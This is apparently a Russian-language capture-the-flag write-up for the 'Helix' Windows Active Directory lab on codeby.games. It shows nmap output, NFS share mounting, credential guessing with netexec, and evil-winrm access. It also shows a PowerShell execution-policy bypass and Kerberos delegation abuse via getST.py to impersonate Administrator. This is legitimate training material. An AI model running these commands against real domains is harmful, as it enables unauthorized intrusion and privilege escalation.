July 31, 2024

Writeup Helix (CodebyGames)

Решение.

Получаем ip на платформе codeby.games.

Проводим разведку и сбор информации о цели с помощью nmap.

nmap -sV -sC <target_ip> -oA <file_name>

# Nmap 7.94SVN scan initiated Wed Jul 10 10:32:59 2024 as: nmap -sVC -A -T4 -Pn -oA scan 192.168.2.9
Nmap scan report for 192.168.2.9
Host is up (0.021s latency).
Not shown: 987 closed tcp ports (reset)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-07-10 14:33:11Z)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/tcp6 rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 2,3,4 111/udp6 rpcbind
| 100003 2,3 2049/udp nfs
| 100003 2,3 2049/udp6 nfs
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/tcp6 nfs
| 100005 1,2,3 2049/tcp mountd
| 100005 1,2,3 2049/tcp6 mountd
| 100005 1,2,3 2049/udp mountd
| 100005 1,2,3 2049/udp6 mountd
| 100021 1,2,3,4 2049/tcp nlockmgr
| 100021 1,2,3,4 2049/tcp6 nlockmgr
| 100021 1,2,3,4 2049/udp nlockmgr
| 100021 1,2,3,4 2049/udp6 nlockmgr
| 100024 1 2049/tcp status
| 100024 1 2049/tcp6 status
| 100024 1 2049/udp status
|_ 100024 1 2049/udp6 status
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: codeby.cdb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
2049/tcp open nlockmgr 1-4 (RPC #100021)
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: codeby.cdb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
Device type: general purpose
Running: Microsoft Windows 2019
OS details: Microsoft Windows Server 2019
Network Distance: 2 hops
Service Info: Host: HELIX; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
| date: 2024-07-10T14:33:58
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required

TRACEROUTE
HOP RTT ADDRESS
1 20.88 ms 192.168.2.9

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jul 10 10:34:24 2024 — 1 IP address (1 host up) scanned in 84.88 seconds

Далее нам необходимо смонтировать шару из которой мы получим необходимые данные для первоначального доступа.

Для это посмотрим шару на возможность монтирования.

Можем наблюдать, что любой может монтировать шару. Теперь вводим следующую команду.

mount -t nfs 192.168.2.9:/it_stuff /root/codeby_game/Helix

Монтировать желательно в свободную папку или же отдельно соданную.

Заходим и видим архив Scripts.zip, который необходимо скачать, распаковать и внимательно осматреть его содержимое.

В одном из файлов мы можем увидеть имя пользователя, далее нам необходимо найти подобрать к нему пароль, список паролей так же будет находиться среди данных файлов.

netexec smb -u $user -p pass file

Теперь нам необходимо собрать информацию о домене и как это делать описывать не буду. По окончание работы программы, в выводе нам необходимо найти строки о делегирование прав доступа.

Далее нам необходимо удаленно подключиться к машине.

evil-winrm -i 192.168.2.9 -u $user -p $passwd

И после подключения загрузить на машину скрипт PowerView.ps1, о данном скрипте можно почитать здесь.

В данный момент интересующая нас часть этого инструмента изображена на скрине ниже.

Для того, что бы скрипт работал корректно необходимо ввести следующую команду.

powershell -ep bypass

После того как вы выполнили делегирование смело выписываем себе серебряный билет.

getST.py -spn cifs/helix.codeby.cdb -impersonate Administrator -dc-ip 192.168.2.9 codeby/user:"passwd"

Далее экспортируем полученный билет и подключаемся к скомпрометированной машине через smbclient и если вы до этого сделали все правильно, то у вас есть права админа. А это значит, что вы можете прочитать директорию C$.